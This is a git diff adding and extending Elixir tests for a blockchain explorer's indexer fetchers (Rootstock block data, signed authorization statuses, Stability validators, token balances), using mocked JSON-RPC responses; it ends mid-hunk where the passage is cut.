a/apps/indexer/test/indexer/fetcher/rootstock_data_test.exs b/apps/indexer/test/indexer/fetcher/rootstock_data_test.exs new file mode 100644 index 000000000000..7ab9b9162dbc --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/rootstock_data_test.exs @@ -0,0 +1,136 @@ +if Application.compile_env(:explorer, :chain_type) == :rsk do + defmodule Indexer.Fetcher.RootstockDataTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + import Mox + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + alias Indexer.Fetcher.RootstockData + + setup :verify_on_exit! + setup :set_mox_global + + test "do not start when all old blocks are fetched", %{json_rpc_named_arguments: json_rpc_named_arguments} do + RootstockData.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + :timer.sleep(300) + + assert [{Indexer.Fetcher.RootstockData, :undefined, :worker, [Indexer.Fetcher.RootstockData]} | _] = + RootstockData.Supervisor |> Supervisor.which_children() + end + + test "stops when all old blocks are fetched", %{json_rpc_named_arguments: json_rpc_named_arguments} do + block_a = insert(:block) + block_b = insert(:block) + + block_a_number_string = integer_to_quantity(block_a.number) + block_b_number_string = integer_to_quantity(block_b.number) + + EthereumJSONRPC.Mox + |> stub(:json_rpc, fn requests, _options -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_getBlockByNumber", params: [^block_a_number_string, false]} -> + %{ + id: id, + result: %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "difficulty" => "0x6bc767dd80781", + "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", + "gasLimit" => "0x7a121d", + "gasUsed" => "0x79cbe9", + "hash" => to_string(block_a.hash), + "logsBloom" => + "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", + "miner" => to_string(block_a.miner), + "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "nonce" => "0x0946e5f01fce12bc", + "number" => block_a_number_string, + "parentHash" => to_string(block_a.parent_hash), + "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", + "sealFields" => [ + "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "0x880946e5f01fce12bc" + ], + "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", + "size" => "0x544c", + "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", + "timestamp" => "0x5c8bc76e", + "totalDifficulty" => "0x201a42c35142ae94458", + "transactions" => [], + "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", + "uncles" => [], + "withdrawals" => [], + "minimumGasPrice" => "0x0", + "bitcoinMergedMiningHeader" => + "0x00006d20ffd048280094a6ea0851d854036aacaa25ee0f23f0040200000000000000000078d2638fe0b4477c54601e6449051afba8228e0a88ff06b0c91f091fd34d5da57487c76402610517372c2fe9", + "bitcoinMergedMiningCoinbaseTransaction" => + "0x00000000000000805bf0dc9203da49a3b4e3ec913806e43102cc07db991272dc8b7018da57eb5abe59a32d070000ffffffff03449a4d26000000001976a914536ffa992491508dca0354e52f32a3a7a679a53a88ac00000000000000002b6a2952534b424c4f434b3ad2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a400000000000000000266a24aa21a9ed4ae42ea6dca2687aaed665714bf58b055c4e11f2fb038605930d630b49ad7b9d00000000", + "bitcoinMergedMiningMerkleProof" => + "0x8e5a4ba74eb4eb2f9ad4cabc2913aeed380a5becf7cd4d513341617efb798002bd83a783c31c66a8a8f6cc56c071c2d471cb610e3dc13054b9d216021d8c7e9112f622564449ebedcedf7d4ccb6fe0ffac861b7ed1446c310813cdf712e1e6add28b1fe1c0ae5e916194ba4f285a9340aba41e91bf847bf31acf37a9623a04a2348a37ab9faa5908122db45596bbc03e9c3644b0d4589471c4ff30fc139f3ba50506e9136fa0df799b487494de3e2b3dec937338f1a2e18da057c1f60590a9723672a4355b9914b1d01af9f582d9e856f6e1744be00f268b0b01d559329f7e0685aa63ffeb7c28486d7462292021d1345cddbf7c920ca34bb7aa4c6cdbe068806e35d0db662e7fcda03cb4d779594638c62a1fdd7ec98d1fb6d240d853958abe57561d9b9d0465cf8b9d6ee3c58b0d8b07d6c4c5d8f348e43fe3c06011b6a0008db4e0b16c77ececc3981f9008201cea5939869d648e59a09bd2094b1196ff61126bffb626153deed2563e1745436247c94a85d2947756b606d67633781c99d7", + "hashForMergedMining" => "0xd2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a40" + } + } + + %{id: id, method: "eth_getBlockByNumber", params: [^block_b_number_string, false]} -> + %{ + id: id, + result: %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "difficulty" => "0x6bc767dd80781", + "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", + "gasLimit" => "0x7a121d", + "gasUsed" => "0x79cbe9", + "hash" => to_string(block_b.hash), + "logsBloom" => + "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", + "miner" => to_string(block_b.miner), + "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "nonce" => "0x0946e5f01fce12bc", + "number" => block_b_number_string, + "parentHash" => to_string(block_b.parent_hash), + "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", + "sealFields" => [ + "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "0x880946e5f01fce12bc" + ], + "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", + "size" => "0x544c", + "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", + "timestamp" => "0x5c8bc76e", + "totalDifficulty" => "0x201a42c35142ae94458", + "transactions" => [], + "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", + "uncles" => [], + "withdrawals" => [], + "minimumGasPrice" => "0x1", + "bitcoinMergedMiningHeader" => + "0x00006d20ffd048280094a6ea0851d854036aacaa25ee0f23f0040200000000000000000078d2638fe0b4477c54601e6449051afba8228e0a88ff06b0c91f091fd34d5da57487c76402610517372c2fe9", + "bitcoinMergedMiningCoinbaseTransaction" => + "0x00000000000000805bf0dc9203da49a3b4e3ec913806e43102cc07db991272dc8b7018da57eb5abe59a32d070000ffffffff03449a4d26000000001976a914536ffa992491508dca0354e52f32a3a7a679a53a88ac00000000000000002b6a2952534b424c4f434b3ad2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a400000000000000000266a24aa21a9ed4ae42ea6dca2687aaed665714bf58b055c4e11f2fb038605930d630b49ad7b9d00000000", + "bitcoinMergedMiningMerkleProof" => + "0x8e5a4ba74eb4eb2f9ad4cabc2913aeed380a5becf7cd4d513341617efb798002bd83a783c31c66a8a8f6cc56c071c2d471cb610e3dc13054b9d216021d8c7e9112f622564449ebedcedf7d4ccb6fe0ffac861b7ed1446c310813cdf712e1e6add28b1fe1c0ae5e916194ba4f285a9340aba41e91bf847bf31acf37a9623a04a2348a37ab9faa5908122db45596bbc03e9c3644b0d4589471c4ff30fc139f3ba50506e9136fa0df799b487494de3e2b3dec937338f1a2e18da057c1f60590a9723672a4355b9914b1d01af9f582d9e856f6e1744be00f268b0b01d559329f7e0685aa63ffeb7c28486d7462292021d1345cddbf7c920ca34bb7aa4c6cdbe068806e35d0db662e7fcda03cb4d779594638c62a1fdd7ec98d1fb6d240d853958abe57561d9b9d0465cf8b9d6ee3c58b0d8b07d6c4c5d8f348e43fe3c06011b6a0008db4e0b16c77ececc3981f9008201cea5939869d648e59a09bd2094b1196ff61126bffb626153deed2563e1745436247c94a85d2947756b606d67633781c99d7", + "hashForMergedMining" => "0xd2508d21d28c8f89d495923c0758ec3f64bd6755b4ec416f5601312600542a40" + } + } + end)} + end) + + pid = RootstockData.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + assert [{Indexer.Fetcher.RootstockData, worker_pid, :worker, [Indexer.Fetcher.RootstockData]} | _] = + RootstockData.Supervisor |> Supervisor.which_children() + + assert is_pid(worker_pid) + + :timer.sleep(300) + + assert [{Indexer.Fetcher.RootstockData, :undefined, :worker, [Indexer.Fetcher.RootstockData]} | _] = + RootstockData.Supervisor |> Supervisor.which_children() + + # Terminates the process so it finishes all Ecto processes. + GenServer.stop(pid) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/signed_authorization_status_test.exs b/apps/indexer/test/indexer/fetcher/signed_authorization_status_test.exs new file mode 100644 index 000000000000..06721805cdb0 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/signed_authorization_status_test.exs @@ -0,0 +1,313 @@ +defmodule Indexer.Fetcher.SignedAuthorizationStatusTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + import Mox + + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.{Data, SignedAuthorization, SmartContract.Proxy.Models.Implementation} + alias Explorer.TestHelper + alias Indexer.BufferedTask + alias Indexer.Fetcher.SignedAuthorizationStatus + + @moduletag :capture_log + + # MUST use global mode because we aren't guaranteed to get `start_supervised`'s pid back fast enough to `allow` it to + # use expectations and stubs from test's pid. + setup :set_mox_global + + setup :verify_on_exit! + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + + :ok + end + + describe "async_fetch/1" do + test "fetched authorization statuses, proxy implementations and nonces", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + SignedAuthorizationStatus.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + block1 = insert(:block, number: 1010) + block2 = insert(:block, number: 1020) + + delegate1 = insert(:address) + delegate2 = insert(:address) + + address1 = insert(:address) + address2 = insert(:address) + address3 = insert(:address) + address4 = insert(:address) + address5 = insert(:address) + + transaction11 = insert(:transaction, from_address: address1, nonce: 100, type: 2) |> with_block(block1) + transaction12 = insert(:transaction, from_address: address1, nonce: 101, type: 2) |> with_block(block1) + transaction13 = insert(:transaction, from_address: address2, nonce: 200, type: 4) |> with_block(block1) + transaction14 = insert(:transaction, from_address: address1, nonce: 103, type: 4) |> with_block(block1) + transaction15 = insert(:transaction, from_address: address5, nonce: 500, type: 4) |> with_block(block1) + + transaction21 = insert(:transaction, from_address: address3, nonce: 300, type: 4) |> with_block(block2) + transaction22 = insert(:transaction, from_address: address1, nonce: 105, type: 2) |> with_block(block2) + transaction23 = insert(:transaction, from_address: address5, nonce: 502, type: 4) |> with_block(block2) + + # invalid signature + auth1 = + insert(:signed_authorization, + transaction: transaction13, + index: 0, + address: delegate1.hash, + authority: nil, + nonce: 102 + ) + + # invalid chain id + auth2 = + insert(:signed_authorization, + transaction: transaction13, + index: 1, + address: delegate1.hash, + authority: address1.hash, + nonce: 102, + chain_id: 123 + ) + + # known nonce, invalid nonce + auth3 = + insert(:signed_authorization, + transaction: transaction13, + index: 2, + address: delegate1.hash, + authority: address1.hash, + nonce: 77 + ) + + # known nonce, all ok + auth4 = + insert(:signed_authorization, + transaction: transaction13, + index: 3, + address: delegate1.hash, + authority: address1.hash, + nonce: 102 + ) + + # known nonce, all ok + auth5 = + insert(:signed_authorization, + transaction: transaction13, + index: 4, + address: delegate1.hash, + authority: address2.hash, + nonce: 201 + ) + + # known nonce, all ok + auth6 = + insert(:signed_authorization, + transaction: transaction13, + index: 5, + address: delegate2.hash, + authority: address2.hash, + nonce: 202 + ) + + # unknown nonce, invalid nonce + auth7 = + insert(:signed_authorization, + transaction: transaction13, + index: 6, + address: delegate1.hash, + authority: address3.hash, + nonce: 77 + ) + + # unknown nonce, all ok + auth8 = + insert(:signed_authorization, + transaction: transaction13, + index: 7, + address: delegate1.hash, + authority: address4.hash, + nonce: 400 + ) + + # unknown nonce, all ok + auth9 = + insert(:signed_authorization, + transaction: transaction14, + index: 0, + address: delegate2.hash, + authority: address4.hash, + nonce: 401 + ) + + # known nonce, all ok + auth10 = + insert(:signed_authorization, + transaction: transaction15, + index: 0, + address: delegate1.hash, + authority: address5.hash, + nonce: 501 + ) + + # unknown nonce, all ok + auth11 = + insert(:signed_authorization, + transaction: transaction21, + index: 0, + address: delegate2.hash, + authority: address1.hash, + nonce: 104 + ) + + # known nonce, all ok + auth12 = + insert(:signed_authorization, + transaction: transaction23, + index: 0, + address: "0x0000000000000000000000000000000000000000", + authority: address5.hash, + nonce: 503 + ) + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + block1_quantity = integer_to_quantity(block1.number - 1) + block2_quantity = integer_to_quantity(block2.number - 1) + address1_string = to_string(address1.hash) + address3_string = to_string(address3.hash) + address4_string = to_string(address4.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id2, + method: "eth_getTransactionCount", + params: [^address4_string, ^block1_quantity] + }, + %{ + id: id1, + method: "eth_getTransactionCount", + params: [^address3_string, ^block1_quantity] + }, + %{ + id: id3, + method: "eth_getTransactionCount", + params: [^address1_string, ^block2_quantity] + } + ], + _options -> + {:ok, + [ + %{id: id1, result: integer_to_quantity(300)}, + %{id: id2, result: integer_to_quantity(400)}, + %{id: id3, result: integer_to_quantity(104)} + ]} + end) + + TestHelper.get_chain_id_mock() + end + + addresses = [address1, address2, address3, address4, address5] + + transactions = [ + transaction11, + transaction12, + transaction13, + transaction14, + transaction15, + transaction21, + transaction22, + transaction23 + ] + + auths = [auth1, auth2, auth3, auth4, auth5, auth6, auth7, auth8, auth9, auth10, auth11, auth12] + + assert :ok = SignedAuthorizationStatus.async_fetch(transactions, auths, false) + + wait_for_tasks(SignedAuthorizationStatus) + + auths = from(auth in SignedAuthorization, order_by: [asc: :transaction_hash, asc: :index]) |> Repo.all() + + assert auths |> Enum.map(& &1.status) == [ + :invalid_signature, + :invalid_chain_id, + :invalid_nonce, + :ok, + :ok, + :ok, + :invalid_nonce, + :ok, + :ok, + :ok, + :ok, + :ok + ] + + addresses = + addresses + |> Repo.reload() + |> Repo.preload(Implementation.proxy_implementations_association()) + + assert addresses |> Enum.map(& &1.nonce) == [ + 104, + 202, + nil, + 401, + 503 + ] + + assert addresses |> Enum.map(& &1.contract_code) == [ + %Data{bytes: <<239, 1, 0>> <> delegate2.hash.bytes}, + %Data{bytes: <<239, 1, 0>> <> delegate2.hash.bytes}, + nil, + %Data{bytes: <<239, 1, 0>> <> delegate2.hash.bytes}, + nil + ] + + assert addresses |> Enum.map(&((&1.proxy_implementations || %{}) |> Map.get(:address_hashes))) == [ + [delegate2.hash], + [delegate2.hash], + nil, + [delegate2.hash], + nil + ] + end + end + + defp wait_for_tasks(buffered_task) do + wait_until(:timer.seconds(10), fn -> + counts = BufferedTask.debug_count(buffered_task) + counts.buffer == 0 and counts.tasks == 0 + end) + end + + defp wait_until(timeout, producer) do + parent = self() + ref = make_ref() + + spawn(fn -> do_wait_until(parent, ref, producer) end) + + receive do + {^ref, :ok} -> :ok + after + timeout -> exit(:timeout) + end + end + + defp do_wait_until(parent, ref, producer) do + if producer.() do + send(parent, {ref, :ok}) + else + :timer.sleep(100) + do_wait_until(parent, ref, producer) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/stability/validator_test.exs b/apps/indexer/test/indexer/fetcher/stability/validator_test.exs new file mode 100644 index 000000000000..5af711e4d3d9 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/stability/validator_test.exs @@ -0,0 +1,470 @@ +defmodule Indexer.Fetcher.Stability.ValidatorTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Stability.Validator, as: ValidatorStability + alias EthereumJSONRPC.Encoder + + setup :verify_on_exit! + setup :set_mox_global + + @accepts_list_of_addresses %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address[]", "name" => "", "internalType" => "address[]"}], + "name" => "getActiveValidatorList", + "inputs" => [%{"type" => "address[]", "name" => "", "internalType" => "address[]"}] + } + + @accepts_integer %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [ + %{ + "internalType" => "uint256", + "name" => "", + "type" => "uint256" + } + ], + "name" => "getActiveValidatorList", + "inputs" => [ + %{ + "internalType" => "uint256", + "name" => "", + "type" => "uint256" + } + ] + } + + if Application.compile_env(:explorer, :chain_type) == :stability do + describe "check update_validators_list" do + test "deletes absent validators" do + _validator = insert(:validator_stability) + _validator_active = insert(:validator_stability, state: :active) + _validator_inactive = insert(:validator_stability, state: :inactive) + _validator_probation = insert(:validator_stability, state: :probation) + + start_supervised!({Indexer.Fetcher.Stability.Validator, name: Indexer.Fetcher.Stability.Validator}) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, 1, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xa5aa7380", to: "0x0000000000000000000000000000000000000805"}, "latest"] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xe35c0f7d", to: "0x0000000000000000000000000000000000000805"}, "latest"] + } + ], + _ -> + <<"0x", _method_id::binary-size(8), result::binary>> = + [@accepts_list_of_addresses] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([[]]) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result + } + ]} + end) + + :timer.sleep(100) + assert ValidatorStability.get_all_validators() == [] + end + + test "updates validators" do + validator_active1 = insert(:validator_stability, state: :active) + validator_active2 = insert(:validator_stability, state: :active) + _validator_active3 = insert(:validator_stability, state: :active) + + validator_inactive1 = insert(:validator_stability, state: :inactive) + validator_inactive2 = insert(:validator_stability, state: :inactive) + _validator_inactive3 = insert(:validator_stability, state: :inactive) + + validator_probation1 = insert(:validator_stability, state: :probation) + validator_probation2 = insert(:validator_stability, state: :probation) + _validator_probation3 = insert(:validator_stability, state: :probation) + + start_supervised!({Indexer.Fetcher.Stability.Validator, name: Indexer.Fetcher.Stability.Validator}) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xa5aa7380", to: "0x0000000000000000000000000000000000000805"}, "latest"] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xe35c0f7d", to: "0x0000000000000000000000000000000000000805"}, "latest"] + } + ], + _ -> + <<"0x", _method_id::binary-size(8), result_all::binary>> = + [@accepts_list_of_addresses] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([ + [ + validator_active1.address_hash.bytes, + validator_active2.address_hash.bytes, + validator_inactive1.address_hash.bytes, + validator_inactive2.address_hash.bytes, + validator_probation1.address_hash.bytes, + validator_probation2.address_hash.bytes + ] + ]) + + <<"0x", _method_id::binary-size(8), result_active::binary>> = + [@accepts_list_of_addresses] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([ + [ + validator_active1.address_hash.bytes, + validator_inactive1.address_hash.bytes, + validator_probation1.address_hash.bytes + ] + ]) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result_active + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result_all + } + ]} + end) + + "0x" <> address_1 = to_string(validator_active1.address_hash) + "0x" <> address_2 = to_string(validator_inactive1.address_hash) + "0x" <> address_3 = to_string(validator_probation1.address_hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^address_1, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^address_2, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + }, + %{ + id: id_3, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^address_3, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + } + ], + _ -> + <<"0x", _method_id::binary-size(8), result_1::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([10]) + + <<"0x", _method_id::binary-size(8), result_2::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([1]) + + <<"0x", _method_id::binary-size(8), result_3::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([0]) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result_1 + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result_2 + }, + %{ + id: id_3, + jsonrpc: "2.0", + result: "0x" <> result_3 + } + ]} + end) + + :timer.sleep(100) + validators = ValidatorStability.get_all_validators() + + assert Enum.count(validators) == 6 + + map = + Enum.reduce(validators, %{}, fn validator, map -> Map.put(map, validator.address_hash.bytes, validator) end) + + assert %ValidatorStability{state: :inactive} = map[validator_active2.address_hash.bytes] + assert %ValidatorStability{state: :inactive} = map[validator_inactive2.address_hash.bytes] + assert %ValidatorStability{state: :inactive} = map[validator_probation2.address_hash.bytes] + + assert %ValidatorStability{state: :probation} = map[validator_active1.address_hash.bytes] + assert %ValidatorStability{state: :probation} = map[validator_inactive1.address_hash.bytes] + assert %ValidatorStability{state: :active} = map[validator_probation1.address_hash.bytes] + end + + test "handles blocks_validated for new and existing validators" do + # Create existing validators with known blocks_validated values + existing_validator_1 = insert(:validator_stability, state: :active, blocks_validated: 100) + existing_validator_2 = insert(:validator_stability, state: :inactive, blocks_validated: 50) + + # Create some blocks for the new validators that will be added + new_validator_address_1 = insert(:address) + new_validator_address_2 = insert(:address) + + # Insert blocks to test blocks_validated functionality + insert(:block, miner: new_validator_address_1) + insert(:block, miner: new_validator_address_1) + insert(:block, miner: new_validator_address_1) + insert(:block, miner: new_validator_address_2) + insert(:block, miner: new_validator_address_2) + + start_supervised!({Indexer.Fetcher.Stability.Validator, name: Indexer.Fetcher.Stability.Validator}) + + # Mock the first call to get validator lists (existing + new validators in the network) + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xa5aa7380", to: "0x0000000000000000000000000000000000000805"}, "latest"] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [%{data: "0xe35c0f7d", to: "0x0000000000000000000000000000000000000805"}, "latest"] + } + ], + _ -> + # Return all validators (existing + new) + <<"0x", _method_id::binary-size(8), result_all::binary>> = + [@accepts_list_of_addresses] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([ + [ + existing_validator_1.address_hash.bytes, + existing_validator_2.address_hash.bytes, + new_validator_address_1.hash.bytes, + new_validator_address_2.hash.bytes + ] + ]) + + # Return active validators (subset of all) + <<"0x", _method_id::binary-size(8), result_active::binary>> = + [@accepts_list_of_addresses] + |> ABI.parse_specification() + |> Enum.at(0) + |> Encoder.encode_function_call([ + [ + existing_validator_1.address_hash.bytes, + new_validator_address_1.hash.bytes, + new_validator_address_2.hash.bytes + ] + ]) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result_active + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result_all + } + ]} + end) + + # Mock the second call to get missing blocks for active validators + "0x" <> existing_address_1 = to_string(existing_validator_1.address_hash) + "0x" <> new_address_1 = to_string(new_validator_address_1.hash) + "0x" <> new_address_2 = to_string(new_validator_address_2.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^existing_address_1, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^new_address_1, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + }, + %{ + id: id_3, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x41ee9a53000000000000000000000000" <> ^new_address_2, + to: "0x0000000000000000000000000000000000000805" + }, + "latest" + ] + } + ], + _ -> + # Return missing blocks for each validator + <<"0x", _method_id::binary-size(8), result_1::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + # existing validator - still active + |> Encoder.encode_function_call([0]) + + <<"0x", _method_id::binary-size(8), result_2::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + # new validator 1 - active + |> Encoder.encode_function_call([0]) + + <<"0x", _method_id::binary-size(8), result_3::binary>> = + [@accepts_integer] + |> ABI.parse_specification() + |> Enum.at(0) + # new validator 2 - active + |> Encoder.encode_function_call([0]) + + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: "0x" <> result_1 + }, + %{ + id: id_2, + jsonrpc: "2.0", + result: "0x" <> result_2 + }, + %{ + id: id_3, + jsonrpc: "2.0", + result: "0x" <> result_3 + } + ]} + end) + + # Wait for async processing + :timer.sleep(100) + + validators = ValidatorStability.get_all_validators() + assert Enum.count(validators) == 4 + + validator_map = + Enum.reduce(validators, %{}, fn validator, map -> + Map.put(map, validator.address_hash.bytes, validator) + end) + + # Verify existing validators keep their original blocks_validated values + existing_val_1 = validator_map[existing_validator_1.address_hash.bytes] + existing_val_2 = validator_map[existing_validator_2.address_hash.bytes] + + # Original value preserved + assert existing_val_1.blocks_validated == 100 + # Original value preserved + assert existing_val_2.blocks_validated == 50 + assert existing_val_1.state == :active + assert existing_val_2.state == :inactive + + # Verify new validators get blocks_validated populated from database + new_val_1 = validator_map[new_validator_address_1.hash.bytes] + new_val_2 = validator_map[new_validator_address_2.hash.bytes] + + # Should match actual blocks count + assert new_val_1.blocks_validated == 3 + # Should match actual blocks count + assert new_val_2.blocks_validated == 2 + assert new_val_1.state == :active + assert new_val_2.state == :active + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/token_balance_test.exs b/apps/indexer/test/indexer/fetcher/token_balance_test.exs index 6c090973fd1c..7d388c13e4bc 100644 --- a/apps/indexer/test/indexer/fetcher/token_balance_test.exs +++ b/apps/indexer/test/indexer/fetcher/token_balance_test.exs @@ -5,6 +5,9 @@ defmodule Indexer.Fetcher.TokenBalanceTest do import Mox alias Explorer.Chain.{Address, Hash} + alias Explorer.Chain.Events.Subscriber + alias Explorer.Repo + alias Explorer.Utility.MissingBalanceOfToken alias Indexer.Fetcher.TokenBalance @moduletag :capture_log @@ -26,6 +29,22 @@ defmodule Indexer.Fetcher.TokenBalanceTest do {address_hash_bytes, token_contract_address_hash_bytes, 1000, "ERC-20", nil, 0} ] end + + test "omits failed balances with refetch_after in future" do + %Address.TokenBalance{ + address_hash: %Hash{bytes: address_hash_bytes}, + token_contract_address_hash: %Hash{bytes: token_contract_address_hash_bytes}, + block_number: block_number + } = insert(:token_balance, value_fetched_at: nil) + + insert(:token_balance, value_fetched_at: DateTime.utc_now()) + + insert(:token_balance, refetch_after: Timex.shift(Timex.now(), hours: 1)) + + assert TokenBalance.init([], &[&1 | &2], nil) == [ + {address_hash_bytes, token_contract_address_hash_bytes, block_number, "ERC-20", nil, 0} + ] + end end describe "run/3" do @@ -36,9 +55,11 @@ defmodule Indexer.Fetcher.TokenBalanceTest do end test "imports the given token balances" do + Subscriber.to(:address_current_token_balances, :realtime) + %Address.TokenBalance{ address_hash: %Hash{bytes: address_hash_bytes} = address_hash, - token_contract_address_hash: %Hash{bytes: token_contract_address_hash_bytes}, + token_contract_address_hash: %Hash{bytes: token_contract_address_hash_bytes} = token_contract_address_hash, block_number: block_number } = insert(:token_balance, value_fetched_at: nil, value: nil) @@ -62,13 +83,26 @@ defmodule Indexer.Fetcher.TokenBalanceTest do nil ) == :ok - token_balance_updated = Explorer.Repo.get_by(Address.TokenBalance, address_hash: address_hash) + token_balance_updated = Repo.get_by(Address.TokenBalance, address_hash: address_hash) - assert token_balance_updated.value == Decimal.new(1_000_000_000_000_000_000_000_000) + expected_value = Decimal.new(1_000_000_000_000_000_000_000_000) + assert token_balance_updated.value == expected_value assert token_balance_updated.value_fetched_at != nil + + 